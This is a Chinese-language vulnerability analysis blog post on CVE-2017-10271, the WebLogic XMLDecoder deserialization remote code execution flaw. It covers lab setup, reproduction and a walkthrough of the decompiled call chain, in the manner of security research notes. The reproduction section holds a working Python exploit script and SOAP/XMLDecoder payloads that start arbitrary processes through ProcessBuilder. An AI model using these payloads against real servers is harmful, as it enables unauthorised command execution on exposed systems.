CVE-2017-10271-分析笔记

CVE-2017-10271-分析笔记

Auth: Chenergy@gnusec
我们的新进的小伙伴Chenergy后续将带来一系列的Java安全研究文章,敬请期待!

0x00 前言

这篇分析笔记包含了CVE-2017-10271的实验环境搭建、漏洞复现、漏洞分析等主要环节。如有谬误还请指正!如有其他建议,请您多多指教!

0x01 实验环境搭建

  • 靶机:Win 7 x64
  • JDK 1.8.0_151
  • Weblogic 12.1.3.0.0
  • jd-gui.exe
  • IntelliJ IDEA 2017.1.3

在搭建Weblogic Server的时候,参考了《Weblogic下载安装以及部署》。

0x02 漏洞复现

  • 方法1:在Kali Linux运行Python脚本
    修改CVE-2017-10271.py为:

    CVE-2017-10271.pyhttps://github.com/Jumbo-WJB/notes/blob/master/CVE-2017-10271.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    import requests
    import sys

    url = sys.argv[1] + "/wls-wsat/CoordinatorPortType"

    print url

    headers = {
    "X-Forwarded-For": "10.244.31.175",
    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
    "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",
    "Content-Type": "text/xml"
    }

    data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.8.0_151" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="1">
    <void index="0">
    <string></string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>'''


    req = requests.post(url, data=data, headers=headers)

    print req.content, req.headers

    运行这段python脚本。

    kali-win7-calc.png
  • 方法2:使用IntelliJ IDEA的"Test RESTful Web Service"

    TestRestfulWebService.png

    仿照方法1的python脚本,填写好”Http method””Host/port””Path””Headers””Request Parameters”等内容。接着按下”Submit Request”按钮。

    fillIn.png

0x03 漏洞分析

在做漏洞分析时,主要参照了《CVE-2017-3506 & 10271:Weblogic 远程代码执行漏洞分析及复现笔记》。

  • 漏洞触发位置:wls-wsat.war
  • 漏洞触发URL:/wls-wsat/CoordinatorPortType(POST)
  • 漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞

由于Weblogic并非开源项目,为了分析执行流,需要对weblogic.jar进行反编译。这里我使用jd.gui.exe进行反编译。

接着,对漏洞的以下调用链进行分析:

  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
  • weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
  • weblogic.wsee.workarea.WorkContextXmlInputAdapter

首先看weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法。
第43行,readHeaderOld()方法的参数是localHeader1
readHeaderOld(localHeader).png
localHeader1变量由第41行定义,通过跟进至WorkAreaConstants接口,我们可以发现其值为<work:WorkContext> </work:WorkContext>标签包裹的数据。
WORK_AREA_HEADER.png
如:

1
2
3
4
5
6
7
8
9
10
11
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>

继续跟进readHeaderOld()方法。(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)。
WorkContextXmlInputAdapter.png
在第106行,实例化了WorkContextXmlInputAdapter对象。而构造方法的参数是new ByteArrayInputStream(localByteArrayOutputStream.toByteArray()),是序列化的数据。

继续跟进至WorkContextXmlInputAdapter类。(weblogic.wsee.workarea.WorkContextXmlInputAdapter)。我们可以发现构造方法中进行了XMLDecoder反序列化,这里是漏洞产生的根源。
XMLDecoder.png

我也搭建了一个XMLDecoder反序列化的工程来对漏洞产生的根源进行验证。

工程中的核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws IOException 
{

test2();
}
public static void test2() throws IOException
{

java.io.File file = new java.io.File("x.xml");
java.beans.XMLDecoder xd = null;
try
{
xd = new java.beans.XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
}
catch(Exception e)
{
e.printStackTrace();
}
Object o = xd.readObject();
xd.close();
}

工程运用的x.xml内容如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/></void>
</java>

而360攻防实验室的博文《关于近期发生的利用weblogic漏洞进行挖矿事件的漏洞简要分析 》能够画出方法调用图:

方法调用图.jpg

这应该是构造了一个包含了weblogic.jar的工程,然后使用IntelliJ IDEA进行反编译与调试。这点有待继续学习。

0x04 反思

  • 分析非开源项目的执行流时,可能需要借助反编译;
  • 为了防范反序列化漏洞,在做代码审计的时候,应重点关注和序列化相关的代码;
  • 有时要"以终为始",比如先确定目的是"找反序列化漏洞",接着要对过程进行构造。构造的过程需要"搜索"(比如借助反编译工具的搜索功能搜索)与"拼凑"(比如把SOAP、RMI等技术运用进来);
  • 知乎专栏或搜狗微信搜索可能有较高质量的文章。

0x05 其他参考链接

【影响范围】
FREEBUF.漏洞预警 | WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
【漏洞修复建议】
CNVD.关于WebLogic Server WLS 组件存在远程命令执行漏洞的安全公告
【WAF自定义规则防护、挖矿木马检测】
绿盟科技.【处置建议】Weblogic WLS 组件漏洞
OracleWeblogic12C安装教程和在IDEA部署WebLogic12C项目分享经验